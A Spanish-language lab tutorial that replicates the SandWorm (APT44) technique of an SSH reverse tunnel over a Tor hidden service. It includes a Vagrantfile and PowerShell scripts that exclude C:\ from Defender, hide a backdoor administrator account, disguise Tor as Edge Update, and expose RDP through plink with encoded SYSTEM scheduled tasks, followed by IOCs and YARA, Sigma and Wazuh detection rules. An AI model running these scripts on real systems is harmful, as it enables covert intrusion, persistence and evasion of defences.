Contexto: que hace SandWorm con SSH y Tor
El grupo APT-C-13 (SandWorm/APT44/Seashell Blizzard) es uno de los APT mas sofisticados del mundo. Segun un analisis reciente de 360 Threat Intelligence, este grupo ha evolucionado sus tecnicas de persistencia usando un patron muy concreto:
- La victima tiene Tor instalado como cliente SOCKS5 (puerto 9050)
- El C2 del atacante expone su SSH como un Tor Hidden Service (direccion
.onion) - La victima establece un SSH reverse tunnel al
.oniondel C2 - El tunnel expone el RDP (3389) de la victima en un puerto del C2
- El atacante accede al escritorio de la victima via
localhost:30054
El resultado: conexion RDP completa sin ninguna conexion IP directa entre victima y atacante. Todo el trafico va cifrado dentro de la red Tor.
Frameworks documentados
SandWorm usa variantes de esta tecnica en sus frameworks:
- Tambur: SSH reverse tunnel basico (
-R 30054:localhost:3389) con Tor - Kalambur: Añade gestion de Tor, cuentas backdoor, limpieza forense
- Sumbur: Evolucion con Basic Auth en C2, rotacion de nodos Tor
- DemiMur: Inyeccion de certificados raiz + bypass de Defender
En este lab replicamos la tecnica de Tambur (la base de todas las demas).
MITRE ATT&CK
| ID | Tecnica | Implementacion en este lab |
|---|---|---|
| T1572 | Protocol Tunneling | SSH reverse tunnel encapsulado en Tor |
| T1090.003 | Multi-hop Proxy | Tor SOCKS5 -> .onion -> C2 |
| T1021.001 | Remote Desktop Protocol | xRDP expuesto via tunnel |
| T1136.001 | Create Account | Usuario backdoor "tambur" |
| T1553.004 | Subvert Trust Controls: Install Root Certificate | DemiMur inyecta certificado raiz falso |
| T1562.001 | Impair Defenses: Disable or Modify Tools | Exclusiones en Defender via Add-MpPreference |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | hid.dll en ruta de sistema |
Como evade SandWorm la deteccion (EDR/IDS/IPS)
Una pregunta logica es: ¿por que no detectan Tor ni el tunnel un EDR o un IDS? La respuesta es que SandWorm no despliega Tor "a pelo" — usa una cadena de evasion multi-capa que neutraliza las defensas antes de establecer el tunnel. Segun el analisis de 360 Threat Intelligence, la cadena es:
Fase 1: Neutralizar el EDR/Antivirus (DemiMur)
Antes de tocar Tor o SSH, SandWorm ejecuta el modulo DemiMur que:
- Inyecta un certificado raiz falso (
DemiMurCA.crt) en el almacen de confianza del sistema:
Import-Certificate -FilePath "DemiMurCA.crt" -CertStoreLocation "Cert:\LocalMachine\Root"Esto permite que cualquier payload firmado con ese certificado pase las verificaciones de Windows como "confiable".
- Añade exclusiones masivas en Microsoft Defender:
Add-MpPreference -ExclusionPath "C:\"
Add-MpPreference -ExclusionPath "$env:TEMP"
Add-MpPreference -ExclusionPath "C:\Windows\System32\WindowsPowerShell"Con C:\ excluido, Defender no escanea absolutamente nada — ni los binarios de Tor, ni ssh.exe, ni los scripts VBS. Es como desactivar el antivirus sin tocarlo.
- Auto-elimina la evidencia: Borra
DemiMur.exey el.crtinmediatamente despues de ejecutar, dejando una ventana de forensics minima.
Fase 2: Instalar Tor sin parecer Tor (Kalambur/Sumbur)
SandWorm no instala el paquete oficial de Tor. En su lugar:
- Descarga un Tor customizado desde su propio C2 (
kalambur.netosumbur.net) - Lo coloca en rutas que simulan software legitimo:
%PUBLIC%\Edge Update Manager\ - Usa Basic Authorization en las peticiones HTTP al C2, de forma que los sandboxes que intenten acceder a la URL reciben contenido falso o conexion rechazada
- El binario de Tor no tiene nombre sospechoso ni se registra como servicio con nombre "tor"
Fase 3: Living off the Land (Tambur)
Para el tunnel SSH propiamente dicho:
- Usa
ssh.exenativo de Windows (disponible desde Windows 10 1809). No instala OpenSSH adicional en versiones modernas - El proceso
ssh.exees 100% legitimo y firmado por Microsoft — un EDR no lo marca como malicioso - Los argumentos
-Rson dificiles de detectar si el EDR no hace command-line inspection detallada - La tarea programada se llama
WindowsUpdateCheckoMicrosoftEdgeUpdateTaskMachineCore— nombres que pasan desapercibidos
Fase 4: Evitar deteccion de red (IDS/IPS)
Para que el IDS no detecte trafico Tor:
- Tor con bridges: Los nodos bridge no estan en las listas publicas de Tor, asi que las reglas de Suricata/Snort basadas en IP known-tor-nodes no funcionan
- El trafico SSH va DENTRO de Tor: El IDS solo ve conexiones TLS a IPs "normales" (los bridges). No ve protocolo Tor ni SSH
- Sin beaconing predecible: Sumbur ejecuta cada 4 horas (no cada minuto), imitando el patron de actualizaciones legitimas de software
Fase 5: Anti-forensics
sleep 97antes de borrar payloads (evita correlacion temporal)- Ficheros intermedios (
ittem.exe,ftara.log) se eliminan automaticamente - Encoded con Base64:
powershell -encevita logs de command-line legibles - VBScript como wrapper: muchos EDRs no inspeccionan
.vbscon la misma profundidad que.ps1
Resumen: por que funciona
| Capa de defensa | Tecnica de evasion | Resultado |
|---|---|---|
| Antivirus/EDR | Exclusiones en Defender + certificado raiz falso | Payloads no escaneados |
| Command-line logging | powershell -enc + VBS wrappers | Logs ilegibles |
| IDS/IPS (trafico Tor) | Tor bridges (no en listas publicas) | Trafico parece HTTPS normal |
| IDS/IPS (SSH) | SSH encapsulado dentro de Tor | Protocolo SSH invisible |
| Analisis de procesos | ssh.exe nativo + nombres de tareas legitimos | Procesos "normales" |
| Forensics | Auto-borrado + delay + rutas de sistema | Evidencia minima |
Implicacion para nuestro lab
En nuestro lab SI replicamos estas capas de evasion con una victima Windows 10 real:
- Defender activo: El script DemiMur.ps1 anade exclusiones (como hace SandWorm)
- Tor Expert Bundle: Kalambur.ps1 instala Tor en
%PUBLIC%\Edge Update Manager\(ruta que simula software legitimo) - plink.exe + PuTTY sessions: Tambur.ps1 usa proxy SOCKS5 via registro de PuTTY para resolver
.onionen Tor
Esto es lo mas cercano posible a la implementacion real de SandWorm documentada por 360 Threat Intelligence. Es un framework modular donde cada pieza tiene una funcion especifica en la cadena de evasion.
Arquitectura del lab
┌─────────────────────┐ Red Tor ┌─────────────────┐
│ VICTIM-WIN │ ──SSH reverse tunnel──────> │ C2-SERVER │
│ (Windows 10) │ (via .onion address) │ (Debian 12) │
│ │ │ │
│ RDP :3389 (nativo) │ plink.exe ──> Tor SOCKS5 │ Tor Hidden Svc │
│ Tor SOCKS :9050 │ PuTTY session registry │ SSH :22 │
│ Defender ACTIVO │ (ProxyMethod=2 SOCKS5) │ usuario: tambur │
│ 192.168.56.20 │ │ 192.168.56.10 │
└─────────────────────┘ └────────┬────────┘
│
localhost:30054 = RDP victima
localhost:20054 = SSH victima
┌─────────────────┐
│ MONITOR │ <- Para capturar trafico y verificar
│ tcpdump/tshark │ que NO hay conexion directa
│ 192.168.56.30 │
└─────────────────┘3 maquinas virtuales:
- c2-server (Debian 12, 1 GB RAM): Atacante. Tor hidden service + SSH server. Recibe el tunnel.
- victim-win (Windows 10, 4 GB RAM): Victima. RDP nativo + Defender activo + Tor client. Kill chain completa.
- monitor (Debian 12, 512 MB RAM): Analisis. Captura trafico para demostrar que no hay conexion directa.
Requisitos
- VirtualBox 7.0.x (no 7.1+ por compatibilidad de boxes)
- Vagrant instalado
- Box
StefanScherer/windows_10(Windows 10) ydebian/bookworm64(Debian 12) - Al menos 6 GB de RAM libre
- Conexion a Internet (para que Tor funcione)
- Red interna entre las 3 VMs (host-only 192.168.56.0/24)
Parte 1: Instalacion manual paso a paso
Esta seccion explica como configurar cada maquina desde cero. Si prefieres automatizarlo con Vagrant, salta a la Parte 2.
VM 1: C2-SERVER (Atacante)
Esta maquina actua como el servidor de Command & Control. Expone su SSH como un Tor Hidden Service y recibe los reverse tunnels de las victimas.
1.1 Configuracion de red
Asigna la IP 192.168.56.10 en la interfaz host-only:
# /etc/network/interfaces (o via nmcli)
auto eth1
iface eth1 inet static
address 192.168.56.10
netmask 255.255.255.01.2 Instalar Tor y OpenSSH
sudo apt update
sudo apt install -y tor openssh-server1.3 Configurar SSH para aceptar reverse tunnels
Editar /etc/ssh/sshd_config:
sudo nano /etc/ssh/sshd_configModificar/añadir estas lineas:
GatewayPorts yes
PermitRootLogin yes
PasswordAuthentication yes
AllowTcpForwarding yesReiniciar SSH:
sudo systemctl restart sshd¿Por que GatewayPorts yes? Por defecto SSH solo bindea reverse tunnels a
127.0.0.1. ConGatewayPorts yesse permite que otros procesos locales accedan al puerto forwarded. En produccion SandWorm no necesita esto porque acceden desde localhost, pero lo activamos para flexibilidad del lab.
1.4 Crear usuario para el tunnel
SandWorm usa el usuario tambur con la password 1qaz@WSX (hardcoded en su malware):
sudo useradd -m -s /bin/bash tambur
echo "tambur:1qaz@WSX" | sudo chpasswd1.5 Configurar Tor Hidden Service
Editar /etc/tor/torrc:
sudo nano /etc/tor/torrcAñadir al final del fichero:
# Hidden Service para SSH (C2)
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 22 127.0.0.1:22Esto le dice a Tor: "crea un servicio oculto que redirija el puerto 22 del .onion al SSH local".
Reiniciar Tor:
sudo systemctl restart tor1.6 Obtener la direccion .onion
Espera unos segundos y lee la direccion generada:
sudo cat /var/lib/tor/ssh_hidden_service/hostnameResultado (ejemplo):
n6b6j4vlkc4ak343j4fmuwmosxtwrft6bph5s5562lefji4a475smuad.onionApunta esta direccion — es la que necesita la victima para conectarse.
1.7 Verificar que todo funciona
# SSH escuchando
sudo ss -tlnp | grep :22
# Tor corriendo
sudo systemctl status tor
# Hidden service publicado
sudo ls -la /var/lib/tor/ssh_hidden_service/
# Debe contener: hostname, hs_ed25519_public_key, hs_ed25519_secret_keyVM 2: VICTIM-WIN (Victima Windows 10)
Esta maquina simula un equipo corporativo comprometido con Windows 10, Defender activo y RDP nativo. Aqui se ejecuta la kill chain completa de SandWorm.
2.1 Configuracion de red
Windows 10 con red host-only en 192.168.56.20. En Vagrant se configura automaticamente.
2.2 Herramientas necesarias
El lab requiere estas herramientas en el directorio tools/:
| Herramienta | Para que | Descarga |
|---|---|---|
plink.exe | SSH client con soporte SOCKS5 via registry | PuTTY 0.83 |
connect.exe | SOCKS5 proxy con resolucion DNS remota (.onion) | Compilado custom (ver codigo fuente en el lab) |
tor.exe | Tor Expert Bundle (cliente SOCKS5 en 9050) | Tor Expert Bundle |
2.3 Scripts del kill chain
El lab incluye 4 scripts PowerShell que replican cada fase:
| Script | Fase | Funcion |
|---|---|---|
DemiMur.ps1 | 1 | Exclusiones en Defender + intento de cert injection |
Kalambur.ps1 | 2 | Instalar Tor + crear usuario backdoor + persistencia |
Tambur.ps1 | 3 | SSH reverse tunnel via Tor (plink + PuTTY session) |
Cleanup.ps1 | - | Anti-forensics + revert del lab |
2.4 Notas sobre Windows
- Defender esta activo: DemiMur.ps1 anade exclusiones antes de desplegar binarios
- RDP nativo: No necesita xRDP — Windows 10 tiene RDP integrado
- ssh.exe nativo NO funciona desde servicios: La version 8.1 de OpenSSH for Windows no puede firmar claves SSH sin TTY. Por eso se usa plink.exe con password auth
- PuTTY saved sessions: plink.exe no soporta
-proxycmdcon binarios externos correctamente en Windows. La solucion es configurar el proxy SOCKS5 via registro de PuTTY (HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions\)
2.5 Verificar RDP y Tor
# RDP activo (siempre en Windows 10 con la configuracion del lab)
Test-NetConnection -ComputerName 127.0.0.1 -Port 3389
# Tor corriendo
Get-Process tor -ErrorAction SilentlyContinue
# SOCKS5 proxy activo
Test-NetConnection -ComputerName 127.0.0.1 -Port 9050VM 3: MONITOR (Analisis de trafico)
Maquina para observar el trafico y demostrar que no hay conexion directa entre victima y C2.
3.1 Configuracion de red
# IP: 192.168.56.30
auto eth1
iface eth1 inet static
address 192.168.56.30
netmask 255.255.255.03.2 Instalar herramientas
sudo apt update
sudo apt install -y tcpdump tshark nmap net-toolsParte 2: Despliegue automatizado con Vagrant
Si no quieres instalar todo manualmente, el lab completo se despliega con un unico comando. El repositorio incluye Vagrantfile + scripts PowerShell + herramientas.
Vagrantfile
# -*- mode: ruby -*-
# SandWorm SSH-Tor Tunnel Lab (Full Kill Chain)
# APT-C-13 PoC: Windows 10 victim + Tor + Reverse Tunnel
Vagrant.configure("2") do |config|
# =========================================================================
# C2 SERVER (Atacante - Debian 12)
# =========================================================================
config.vm.define "c2-server" do |c2|
c2.vm.box = "debian/bookworm64"
c2.vm.hostname = "c2-server"
c2.vm.network "private_network", ip: "192.168.56.10"
c2.vm.provider "virtualbox" do |vb|
vb.name = "sandworm-c2-server"
vb.memory = 1024
vb.cpus = 1
end
c2.vm.provision "shell", inline: <<-SHELL
export DEBIAN_FRONTEND=noninteractive
apt-get update -qq
apt-get install -y -qq tor openssh-server sshpass
# SSH: aceptar reverse tunnels + password auth
sed -i 's/#GatewayPorts no/GatewayPorts yes/' /etc/ssh/sshd_config
sed -i 's/#PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config
grep -q "^AllowTcpForwarding" /etc/ssh/sshd_config || echo "AllowTcpForwarding yes" >> /etc/ssh/sshd_config
systemctl restart sshd
# Usuario para el tunnel (password: Tunnel2026)
useradd -m -s /bin/bash tambur || true
echo "tambur:Tunnel2026" | chpasswd
# Tor Hidden Service para SSH
cat >> /etc/tor/torrc <<TORRC
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 22 127.0.0.1:22
TORRC
systemctl restart tor
sleep 5
# Esperar a que Tor genere el hostname .onion
for i in $(seq 1 30); do
[ -f /var/lib/tor/ssh_hidden_service/hostname ] && break
sleep 2
done
ONION=$(cat /var/lib/tor/ssh_hidden_service/hostname 2>/dev/null || echo "PENDIENTE")
echo "[+] Tor Hidden Service: $ONION"
echo "$ONION" > /vagrant/.c2_onion_address
SHELL
end
# =========================================================================
# VICTIM (Windows 10 - Defender activo, RDP nativo)
# =========================================================================
config.vm.define "victim-win" do |victim|
victim.vm.box = "StefanScherer/windows_10"
victim.vm.hostname = "victim-win"
victim.vm.network "private_network", ip: "192.168.56.20"
victim.vm.communicator = "winrm"
victim.vm.provider "virtualbox" do |vb|
vb.name = "sandworm-victim-win"
vb.memory = 4096
vb.cpus = 2
vb.gui = true
end
victim.vm.provision "shell", inline: <<-POWERSHELL
# Habilitar RDP
Set-ItemProperty -Path "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" -Name "fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
Write-Host "[+] RDP habilitado"
POWERSHELL
end
# =========================================================================
# MONITOR (Observacion y analisis)
# =========================================================================
config.vm.define "monitor" do |mon|
mon.vm.box = "debian/bookworm64"
mon.vm.hostname = "monitor"
mon.vm.network "private_network", ip: "192.168.56.30"
mon.vm.provider "virtualbox" do |vb|
vb.name = "sandworm-monitor"
vb.memory = 512
vb.cpus = 1
end
mon.vm.provision "shell", inline: <<-SHELL
export DEBIAN_FRONTEND=noninteractive
apt-get update -qq
apt-get install -y -qq tcpdump tshark nmap net-tools
SHELL
end
endScripts PowerShell del Kill Chain
Los scripts se colocan en el directorio scripts/ del lab y se ejecutan en orden desde la victima Windows.
DemiMur.ps1 (Fase 1: Neutralizar Defender)
# Exclusiones masivas en Defender (como SandWorm)
Add-MpPreference -ExclusionPath "C:\"
Add-MpPreference -ExclusionPath "$env:TEMP"
Add-MpPreference -ExclusionPath "$env:PUBLIC"
Add-MpPreference -ExclusionProcess "ssh.exe"
Add-MpPreference -ExclusionProcess "tor.exe"
Add-MpPreference -ExclusionProcess "powershell.exe"
Add-MpPreference -ExclusionProcess "plink.exe"Kalambur.ps1 (Fase 2: Instalar Tor + backdoor)
# Descargar Tor Expert Bundle en ruta que simula software legitimo
$TorDir = "$env:PUBLIC\Edge Update Manager"
New-Item -ItemType Directory -Path $TorDir -Force | Out-Null
# Descargar Tor (en el lab se copia de tools/)
Copy-Item "C:\vagrant\tools\tor.exe" "$TorDir\tor.exe"
# Iniciar Tor con SOCKS5 en 9050
Start-Process -FilePath "$TorDir\tor.exe" `
-ArgumentList "--SocksPort 9050 --DataDirectory `"$TorDir\Tor\data`"" `
-WindowStyle Hidden
# Crear usuario backdoor (oculto del login screen)
net user Admin "1qaz@WSX" /add /y
net localgroup Administrators Admin /add
# Ocultar del login
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Admin /t REG_DWORD /d 0 /f
# Persistencia: tarea programada con nombre legitimo
schtasks /Create /TN "\Microsoft\Windows\WDI\MicrosoftEdgeUpdateTaskMachineCore" `
/TR "powershell.exe -WindowStyle Hidden -File C:\vagrant\scripts\Tambur.ps1" `
/SC ONSTART /RU SYSTEM /RL HIGHEST /FTambur.ps1 (Fase 3: SSH Reverse Tunnel via Tor)
Esta es la tecnica clave. Usa plink.exe con PuTTY saved sessions configuradas en el registro de Windows:
$C2Onion = (Get-Content "C:\vagrant\.c2_onion_address").Trim()
$C2HostKey = "ecdsa-sha2-nistp256 256 SHA256:TndzXJgBTV4hh+95KqJp59urFqET/bRDIbtIuVf0lFE"
# Crear PuTTY saved session con SOCKS5 proxy (resolucion DNS en Tor)
$sessionPath = "HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions\c2tunnel"
New-Item -Path $sessionPath -Force | Out-Null
Set-ItemProperty -Path $sessionPath -Name "HostName" -Value $C2Onion
Set-ItemProperty -Path $sessionPath -Name "PortNumber" -Value 22 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "UserName" -Value "tambur"
Set-ItemProperty -Path $sessionPath -Name "Protocol" -Value "ssh"
Set-ItemProperty -Path $sessionPath -Name "ProxyMethod" -Value 2 -Type DWord # SOCKS5 (2=SOCKS5, 5=Local cmd)
Set-ItemProperty -Path $sessionPath -Name "ProxyHost" -Value "127.0.0.1"
Set-ItemProperty -Path $sessionPath -Name "ProxyPort" -Value 9050 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyDNS" -Value 1 -Type DWord # DNS at proxy (critico para .onion)
Set-ItemProperty -Path $sessionPath -Name "ProxyUsername" -Value "user" # Necesario para -batch (evita prompt SOCKS auth)
Set-ItemProperty -Path $sessionPath -Name "ProxyPassword" -Value "pass" # Tor acepta cualquier valor
# Lanzar plink con reverse tunnels
$PlinkExe = "C:\vagrant\tools\plink.exe"
$bat = "@echo off`r`n`"$PlinkExe`" -batch -pw Tunnel2026 -hostkey `"$C2HostKey`" -N -R 127.0.0.1:30054:127.0.0.1:3389 -R 127.0.0.1:20054:127.0.0.1:22 -load c2tunnel"
[System.IO.File]::WriteAllText("$env:PUBLIC\Edge Update Manager\tunnel.bat", $bat)
# VBS wrapper (stealth - SandWorm usa rata.vbs)
$vbs = "Set s = CreateObject(`"WScript.Shell`")`r`ns.Run `"$env:PUBLIC\Edge Update Manager\tunnel.bat`", 0, False"
[System.IO.File]::WriteAllText("$env:PUBLIC\Edge Update Manager\MicrosoftEdgeUpdate.vbs", $vbs)
# Ejecutar
& cscript //nologo "$env:PUBLIC\Edge Update Manager\MicrosoftEdgeUpdate.vbs"Por que PuTTY saved sessions? Descubrimiento clave del lab:
ssh.exenativo de Windows 8.1/10 no puede firmar claves SSH sin TTY (fallasign_and_send_pubkeycuando se ejecuta desde servicios/WinRM)plink.exe -proxycmdcon binarios externos no funciona (pipe handling roto en Windows)- PuTTY saved sessions con
ProxyMethod=2(SOCKS5) +ProxyDNS=1+ProxyUsername(para-batch) es la unica forma que funciona correctamente para resolver.oniony tunelizar via Tor
Uso
# Desplegar las 3 VMs
export VAGRANT_DEFAULT_PROVIDER=virtualbox
vagrant up
# Ejecutar kill chain en la victima (en orden)
vagrant winrm victim-win -e -c 'powershell -File C:\vagrant\scripts\DemiMur.ps1'
vagrant winrm victim-win -e -c 'powershell -File C:\vagrant\scripts\Kalambur.ps1'
vagrant winrm victim-win -e -c 'powershell -File C:\vagrant\scripts\Tambur.ps1'
# Verificar tunnel en el C2
vagrant ssh c2-server -c "ss -tlnp | grep -E '30054|20054'"Nota: Si Vagrant intenta usar VMware, fuerza VirtualBox con
vagrant up --provider=virtualboxo exporta la variableVAGRANT_DEFAULT_PROVIDER=virtualbox.
Parte 3: Establecer el tunnel
Aqui es donde replicamos exactamente lo que hace el malware Tambur de SandWorm, pero desde una victima Windows 10 real con Defender activo.
3.1 Acceder a la victima Windows
# Via Vagrant WinRM (elevado):
vagrant winrm victim-win -e -c 'hostname'
# O via RDP directo:
# IP: 192.168.56.20, User: vagrant, Pass: vagrant3.2 Verificar prerrequisitos
# Tor corriendo con SOCKS5
Get-Process tor -ErrorAction SilentlyContinue
Test-NetConnection -ComputerName 127.0.0.1 -Port 9050
# RDP activo (nativo en Windows 10)
Test-NetConnection -ComputerName 127.0.0.1 -Port 3389
# plink.exe disponible
Test-Path "C:\vagrant\tools\plink.exe"3.3 Establecer el reverse tunnel
Ejecutar Tambur.ps1 o los comandos clave manualmente:
# 1. Configurar PuTTY session con proxy SOCKS5 (registro)
$C2Onion = (Get-Content "C:\vagrant\.c2_onion_address").Trim()
$sessionPath = "HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions\c2tunnel"
New-Item -Path $sessionPath -Force | Out-Null
Set-ItemProperty -Path $sessionPath -Name "HostName" -Value $C2Onion
Set-ItemProperty -Path $sessionPath -Name "PortNumber" -Value 22 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyMethod" -Value 2 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyHost" -Value "127.0.0.1"
Set-ItemProperty -Path $sessionPath -Name "ProxyPort" -Value 9050 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyDNS" -Value 1 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyUsername" -Value "user"
Set-ItemProperty -Path $sessionPath -Name "ProxyPassword" -Value "pass"
# 2. Lanzar plink con reverse tunnels (background via VBS)
$hostkey = "ecdsa-sha2-nistp256 256 SHA256:TndzXJgBTV4hh+95KqJp59urFqET/bRDIbtIuVf0lFE"
Start-Process "C:\vagrant\tools\plink.exe" -ArgumentList `
"-batch -pw Tunnel2026 -hostkey `"$hostkey`" -N -R 127.0.0.1:30054:127.0.0.1:3389 -R 127.0.0.1:20054:127.0.0.1:22 -load c2tunnel" `
-WindowStyle HiddenDesglose de los parametros de plink:
| Parametro | Funcion |
|---|---|
-batch | No interactive prompts (equivalente a BatchMode=yes) |
-pw Tunnel2026 | Password hardcoded (como hace el malware) |
-hostkey "ecdsa..." | Acepta solo esta host key especifica (anti-MITM) |
-N | No abre shell remota (solo mantiene el tunnel) |
-R 127.0.0.1:30054:127.0.0.1:3389 | Expone el RDP local en el C2 como puerto 30054 |
-R 127.0.0.1:20054:127.0.0.1:22 | Expone el SSH local en el C2 como puerto 20054 |
-load c2tunnel | Usa la PuTTY session (SOCKS5 proxy + .onion hostname) |
Nota: La primera conexion via Tor tarda entre 15-60 segundos. Es normal. Tor necesita construir un circuito de 3 saltos hasta el hidden service del C2.
3.4 Verificar que el tunnel funciona
# En la victima: verificar que plink sigue corriendo
Get-Process plink -ErrorAction SilentlyContinue# En el C2: verificar que los puertos estan escuchando
vagrant ssh c2-server -c "ss -tlnp | grep -E '30054|20054'"Salida esperada en el C2:
LISTEN 0 128 0.0.0.0:30054 0.0.0.0:*
LISTEN 0 128 0.0.0.0:20054 0.0.0.0:*Si ves esto, el tunnel esta activo y funcionando a traves de Tor.
Parte 4: Acceder a la victima desde el C2
Ahora el atacante tiene acceso completo al escritorio de la victima sin ninguna conexion IP directa.
4.1 Verificar puertos en el C2
vagrant ssh c2-server
ss -tlnp | grep -E '30054|20054'4.2 Acceder via RDP (a traves del tunnel)
Desde el C2 o desde tu host (port forwarding):
# Opcion 1: Desde el C2 directamente
xfreerdp /v:127.0.0.1:30054 /u:Admin /p:1qaz@WSX
# Opcion 2: Desde tu host, forwardea el puerto del C2
ssh -L 3389:127.0.0.1:30054 vagrant@192.168.56.10
# Luego abre tu cliente RDP contra localhost:3389El usuario Admin fue creado por Kalambur.ps1 con la password 1qaz@WSX — un backdoor oculto del login screen.
4.3 Verificar que la conexion va por Tor
# En el C2: ver el log de SSH
sudo journalctl -u ssh --since "5 minutes ago" | grep tamburSalida esperada:
Accepted password for tambur from 127.0.0.1 port XXXXX ssh2La conexion viene de 127.0.0.1 — esto confirma que llego a traves del Tor hidden service, no por red directa.
Parte 5: Verificar con el monitor
Esta es la parte que demuestra por que esta tecnica es tan peligrosa.
5.1 Capturar trafico
vagrant ssh monitor# Capturar TODO el trafico de la red interna
sudo tcpdump -i eth1 -w /tmp/lab_capture.pcap &
# Espera unos segundos con el tunnel activo, luego para la captura
sleep 30 && sudo kill %15.2 Analizar: no hay conexion directa
# Buscar trafico directo entre victima (.20) y C2 (.10)
sudo tcpdump -r /tmp/lab_capture.pcap host 192.168.56.20 and host 192.168.56.10Resultado esperado: 0 paquetes. No hay comunicacion directa.
# Ver a donde conecta la victima realmente
sudo tcpdump -r /tmp/lab_capture.pcap src host 192.168.56.20Veras conexiones a IPs de nodos Tor (guard nodes), no al C2. El C2 tampoco aparece en el trafico del lado de la victima.
5.3 Que veria un SOC
Un analista de SOC veria:
- La victima hace conexiones TLS a IPs "raras" (nodos Tor)
- No hay patron claro de C2 (no hay beaconing regular)
- El trafico va cifrado (SSH dentro de Tor)
- No hay IOC de red que vincule victima con atacante
La unica forma de detectarlo es:
- Saber que Tor esta instalado donde no deberia (ej.
%PUBLIC%\Edge Update Manager\) - Detectar procesos
plink.execon-Ry-loadcon session names sospechosos - Inspeccionar registro de PuTTY:
HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions\con proxies SOCKS - Monitorizar tareas programadas con nombres que simulan componentes de Windows
Parte 6: Persistencia (como Tambur/Kalambur)
SandWorm no ejecuta el tunnel una vez — lo mantiene con tareas programadas y VBS wrappers.
6.1 Crear persistencia en Windows (como hace Tambur)
# Script de persistencia (encoded en base64 por el malware real)
$TunnelScript = @"
if (!(Get-Process plink -ErrorAction SilentlyContinue)) {
`$torProc = Get-Process tor -ErrorAction SilentlyContinue
if (!`$torProc) {
Start-Process "$env:PUBLIC\Edge Update Manager\tor.exe" -ArgumentList "--SocksPort 9050 --DataDirectory `"$env:PUBLIC\Edge Update Manager\Tor\data`"" -WindowStyle Hidden
Start-Sleep -Seconds 30
}
& cscript //nologo "$env:PUBLIC\Edge Update Manager\MicrosoftEdgeUpdate.vbs"
}
"@
$EncodedCmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($TunnelScript))
# Tarea al inicio del sistema (nombre que simula Windows Diagnostics)
schtasks /Create /TN "\Microsoft\Windows\WDI\Tambur" `
/TR "powershell.exe -WindowStyle Hidden -enc $EncodedCmd" `
/SC ONSTART /RU SYSTEM /RL HIGHEST /F
# Watchdog cada 5 minutos (re-establece si se cae)
schtasks /Create /TN "\Microsoft\Windows\WDI\TamburWatch" `
/TR "powershell.exe -WindowStyle Hidden -enc $EncodedCmd" `
/SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F6.2 Tecnica de ocultacion
SandWorm oculta sus tareas usando rutas de Windows Diagnostics Infrastructure (\Microsoft\Windows\WDI\). Un administrador que haga schtasks /query vera nombres como MicrosoftEdgeUpdateTaskMachineCore que pasan totalmente desapercibidos.
Ademas:
- VBS wrapper:
MicrosoftEdgeUpdate.vbsejecuta el BAT en modo invisible (sin ventana) - Ruta legitima:
%PUBLIC%\Edge Update Manager\simula el actualizador de Microsoft Edge - Encoded command:
powershell -encevita que los logs muestren el script en claro
Deteccion y defensa
Ahora que entendemos la tecnica a fondo, veamos como detectarla.
Indicadores de compromiso (IOCs)
| Indicador | Que buscar |
|---|---|
| Procesos | plink.exe con -R y -load, ssh.exe con ProxyCommand apuntando a :9050 |
| Registro | HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions\ con ProxyMethod=2 (SOCKS5) y hosts .onion |
| Puertos | Tor SOCKS5 en 9050 sin justificacion empresarial |
| Ficheros | tor.exe en %PUBLIC%\Edge Update Manager\, VBS wrappers, .bat con plink |
| Cuentas | Cuentas locales ocultas (ej. Admin con REG_DWORD 0 en SpecialAccounts\UserList) |
| Tareas | Tareas en \Microsoft\Windows\WDI\ que ejecutan PowerShell encoded |
| Red | Conexiones salientes a nodos Tor conocidos (listas publicas de guard/relay nodes) |
Reglas de deteccion
YARA (buscar en disco/memoria):
rule SandWorm_SSH_Tor_Tunnel {
meta:
description = "Detecta indicadores de SSH tunnel via Tor (SandWorm/Tambur)"
author = "Red Orbita"
strings:
$proxy1 = "ProxyCommand=ncat --proxy 127.0.0.1:9050" ascii
$proxy2 = "ProxyCommand=connect" ascii wide
$proxy3 = "ProxyMethod" ascii wide
$tunnel = "-R 127.0.0.1:" ascii wide
$plink = "plink" ascii wide nocase
$user1 = "tambur@"
$pass1 = "Tunnel2026"
$onion = ".onion" ascii wide
$session = "c2tunnel" ascii wide
$vbs = "MicrosoftEdgeUpdate.vbs" ascii wide
condition:
2 of them
}Sigma (deteccion en logs de procesos):
title: SSH Reverse Tunnel via Tor SOCKS5 Proxy (Windows)
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detecta plink.exe o ssh.exe con reverse port forwarding usando Tor como proxy
author: Red Orbita
logsource:
category: process_creation
product: windows
detection:
selection_plink:
Image|endswith: '\plink.exe'
CommandLine|contains|all:
- '-R '
- '-load'
selection_plink_proxy:
Image|endswith: '\plink.exe'
CommandLine|contains:
- '-batch'
- '9050'
selection_ssh:
Image|endswith: '\ssh.exe'
CommandLine|contains|all:
- '-R '
- '9050'
selection_registry:
TargetObject|contains:
- 'SimonTatham\PuTTY\Sessions'
Details|contains:
- '.onion'
condition: 1 of selection_*
level: high
tags:
- attack.command_and_control
- attack.t1572
- attack.t1090.003
- attack.t1112Wazuh (regla custom):
<rule id="100200" level="12">
<if_sid>530</if_sid>
<match>plink.*-R.*-load|ssh.*-R.*ProxyCommand.*9050</match>
<description>SSH reverse tunnel via Tor SOCKS5 detected (SandWorm TTP)</description>
<mitre>
<id>T1572</id>
